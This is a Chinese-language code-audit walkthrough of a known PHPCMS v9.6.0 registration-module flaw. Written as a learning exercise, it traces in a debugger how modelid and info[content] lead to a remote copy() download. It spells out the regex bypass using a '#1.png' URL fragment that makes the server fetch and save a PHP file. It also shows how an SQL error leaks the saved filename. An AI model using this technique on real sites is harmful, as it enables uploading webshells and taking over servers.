PHP:5.4.5
設定除錯:https://blog.csdn.net/m0_46641521/article/details/120107786
版本:phpcms_v9.6.0_UTF8
0x01:路由分析
和前一篇一樣的路由,但是對輸入的關鍵字都有了防護;
0x02:漏洞分析
01 慢慢除錯
目前是代審的基礎,就沒有太注重邏輯,就直接給了漏洞利用點在哪;
是在phpcms/modules/member/index.php的register模組
,也就是上一篇用來觸發連線那裡;
PHPstorm開啟除錯,這裡點選提交註冊,burp抓包一下;
然後在偵錯程式能夠看到除錯資訊:
然後向後慢慢走:
這裡是配置資訊,不用管;
主要是下面這個isset($_POST['dosubmit']
地方;
顯然是進行了提交的,所以這裡能夠進入:
這個驗證碼是沒得的,在註冊的時候也沒看見驗證碼;
然後注意這個$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
;現在先不管這個是什麼,知道這個是可以透過我們控制的就好;
然後下面能夠看見一個ip()
,跟進看看:
ip()
最後進行了一個正則匹配,只有數字匹配上了才能夠返回一個ip,否則就是空;
然後回到原來的register
:一直走,直到走到這裡:
然後跟進看看:
一般來說,model
是和資料庫有關的;
在這裡:
db是連線的資料庫物件;
$this->db_pre是資料庫的字首,字首是:v9_
要查的表是v9_model_field這個表;
為什麼是檢視v9_model_field
這個表呢?跟進load_modle
除錯一下:這裡指定了路徑
再跟進,就是返回的這個:
開啟資料庫,看看資料庫v9_model_field
表中有什麼:
由於是才重灌CMS的,沒有對這個表有什麼修改,所以這裡是什麼樣,原始資料就是什麼樣子;
接著除錯往下走:
這裡給member_input
物件加了一個attachement
屬性,先不管是什麼;
接著F8往下走:
array_map('new_html_special_chars',$_POST['info']);
# 讓$_POST['info']執行new_html_special_chars()函式
大概是想起一個編碼的作用,不用管;
然後注意到箭頭指向的地方,是取值$_POST['info'];
,也就是說,這也是可控的;
接下來F7步入:
又走到了member_input
這個地方;
02 整理輸入-1
現在已知的是:
$_POST['info']
可控,並且在member_input->get()
會將其呼叫
所以現在重點關注get()
能夠做什麼,這裡是預先知道有洞的,不是現審的;這是還在學基礎;
現在就要看,輸入的可控的東西經歷了哪些東西;
F7步入trim_script($data)
函式
轉義js程式碼的,用來防禦XSS;替換了<>
和javascript
;
回到原先的地方再F8;
之後就是對此做操作;
F8走幾步:
已知:
$modelid 是可控的;
$data已經是可控的了:
foreach之後,field和value就是可控的了
$field = birthday
$value = 2023-02-03
safe_replace():
進行了過濾,例如:%20,%2527,%27,',",*,'',<,>,{,}等字元
$func = $this->fields[$field]['formtype'];
這裡的$this->fields是不可控的,它是在建構函式中已經定義了;
但是$field是可控的;
於是$func
被從$this->fields[$field]['formtype'];
中取出來的值賦值為datetime
然後再檢測這個類中有沒有datetime
這個方法,有就執行;並且執行的引數也是可控的;
這裡能執行的方法只有這個類中的方法:
但是同樣要求這個方法存在於$this->fields
中;
因為$func
同樣是從$this->fields
中取出來的;
所以需要知道$this->fields
是怎麼來的;
然後重新除錯,為了知道$this->fields
是怎麼來的:
然後步入:
資料是存在資料庫的
快取從資料庫中取出來,存在記憶體,存在redis中;
這個地方是快取資料之類的,看的意義不大,由於資料都是存在資料庫中,所以進入資料庫中檢視modelid=10
的;
所以會把這個birthday
取出來,然後這裡又有formtype=datetime
;
由於modelid
也是可控的,所以可以透過控制modelid
來控制fields
的資料;假如將modelid
改成3
,那麼會將modelid=3
的所有取出來;
這裡重新除錯一下,將modelid
修改成3:
可以看到,相較於前兩幅圖中的modelid=10,fields[1]
這裡的fields[23]
多了很多東西;
隨後可以透過$_POST['info']
來控制選擇什麼;
不過實際上,也需要看$this
中的方法有哪些;所以目標就縮小到了原來那幾個函式中,即:
將函式都看一下之後,定位到editor
函式中;
1 $this->textarea()
作用:剝離HTML標籤
2 box
作用:裁剪元素組成字串
3 images
作用:傳圖片,返回字串
剩下的就沒意思了
4 editor
注意到了$this->attachment->download
,然後檢視download
函式:
editor
是一個附件下載的函式;
03 整理輸入-2
所以考慮能不能向伺服器中下載(寫入)PHP檔案;
所以現在修改modelid
等引數,發包
讓其進入download
函式:
new_stripslashes
函式是一個去掉反斜線的函式;
然後這裡是一個正則,如果匹配不上,就沒了;顯然目前是匹配不上的;
然後進一個網站匹配匹配:https://regex101.com/
匹配正則之後,透過一個foreach
然後在裡面的fillurl
拼接出一個url
,應該叫透過fillurl
判斷傳入的引數是一個什麼協議,然後根據什麼協議返回什麼連結;
最後將返回的url填充到$remotefileurls
陣列中,並透過array_unique
函式去重;
然後接著跟:
看到之類有一個getname
函式,跟進去看看或者點進去都行:
這裡對名字進行了一個拼接,返回了日期隨機數.字尾
樣式的檔名;
在171行有$upload_func = $this->upload_func;
,這裡將$upload_func
賦值為了copy()
;因為原來的定義也是這樣
現在找找copy()
函式作用:
https://www.php.net/manual/zh/function.copy
並且它支援url連結;
同時,可以在除錯資訊中看到file
和newfile
兩個路徑;
copy函式
一執行就會被上傳上去,所以現在去看看上傳的檔案:
但是會傳入http://www.baidu.com/1.png
失敗了,原因是
既然是not found
,那麼考慮一下found
的;
嘗試一下其他的:http://www.taobao.com/1.png
然後上傳了過來:
看看請求的網頁:
所以,只要不是not found
就行,哪怕是頁面不存在
檔案上傳成功了,接著再跟一跟後續函式:
在上傳檔案成功的if
判斷操作中,有一個add
函式,進入add
函式檢視資訊:
發現這裡是將檔案資訊傳入資料庫的一個操作,先記下來;
隨後F8走幾步,就完結了;
所以最後得到結論:
- 修改modelid和info[content]可以指定執行
editor()
函式- 在
editor()
中的download()
,跟進download()
發現使用了copy
賦值檔案- 由於
copy()
支援從url中下載檔案,且url可控,但是需要滿足正則匹配,在滿足的情況下,能夠下載任意滿足正則匹配的檔案- 最後,新檔名是隨機的,檔案資訊會被存入資料庫
0x03 輸入流轉
01 上傳PHP檔案
目前是能夠上傳一個檔案了,於是考慮上傳一個php檔案
現在整理一遍輸入:
info[content] = url
url可控,並且會解析且過正則
正則:(href|src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\2
正則保證了字尾是圖片型別
伺服器對傳入的url進行請求
希望伺服器下載一個php字尾的檔案
但是注意到這個正則,它相當於只進行了字尾的識別。
那麼考慮能不能在透過正則之後,透過處理,將字尾去掉,保留前面的一部分;
所以現在就比較關注傳入的url
在哪裡進行的拼接;
在editor
中直接呼叫了download
並且傳入了content
,但是並沒有進行什麼處理,於是跟進download
;
download()
前部分都是進行的賦值和正則(只檢測了字尾,所以這個也能過:<a href=http://www.taobao.com/1.php/1.png>
),唯一的操作就是去掉反斜線;
然後注意到到了fillurl()
函式;
跟進除錯一下,或者直接看也行:
$surl
是傳入的地址,ctrl f
一下,發現,就截圖部分進行了裁剪和擷取,其它的都是整段拼接,所以看截圖部分;
然後看到這裡:
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
# 返回#第一次出現的位置,並且將$surl擷取到#出現之前
# 所以考慮<a href=http://url#1.png>
所以試試:http://www.taobao.com/1.php#1.png
;
顯然是滿足png
的字尾,然後這裡進入這個拼接就行,不需要執行後面的copy
;現在的目的是為了拼出來php
字尾,拼出來了之後在指定一下伺服器,自然是可以的;
然後這裡拼接出來了php
字尾;
現在請求一下其他地方的檔案,就本地的吧,都一樣了;
能夠看到這裡是能夠請求的;
現在在這裡寫一個<?php phpinfo();?>
到1.php
中,在請求一下;
現在有返回了,能拉進去;
現在就只需要解決最後的問題了,就是不知道這個檔案路徑的;
02 路徑報錯
之前有提到一件事,就是說是已知漏洞的;
在index.php
後有一個資料庫插入資訊的操作,這裡的資訊插入是在檔案上傳之後插入的,並且插入資訊,是插入的使用者模型的資訊;
由於已經改info[birthday]
成了info[content]
,所以這裡跟進:
burp中發包,需要將username
和email
改成資料庫中沒有的,不然$status
過不了判斷:
執行的SQL語句成為了
INSERT INTO `phpcmsv9`.`v9_member_detail`(`content`,`userid`) VALUES ('<a href=http://127.0.0.1:81/uploadfile/2023/0223/20230223114555862.php>','2')
但是顯然member
模型是沒有content
欄位的,所以之類會報錯;
於是burp中就能夠看到報錯的資料:
最後獲取到了檔名;
因為這裡是先進行了檔案的上傳,再進行的資料庫插入操作,所以能夠訪問對應的檔案;
最後訪問對應檔案;發現檔案能夠上傳;
所以可以上傳其它的馬,這裡只是上傳了phpinfo
,沒做其它的事情;
0x04 總結
註冊模組,改modelid,進下載
最後還是試了很多次,那時候不知道usernaem
和email
會影響$status
:
任重道遠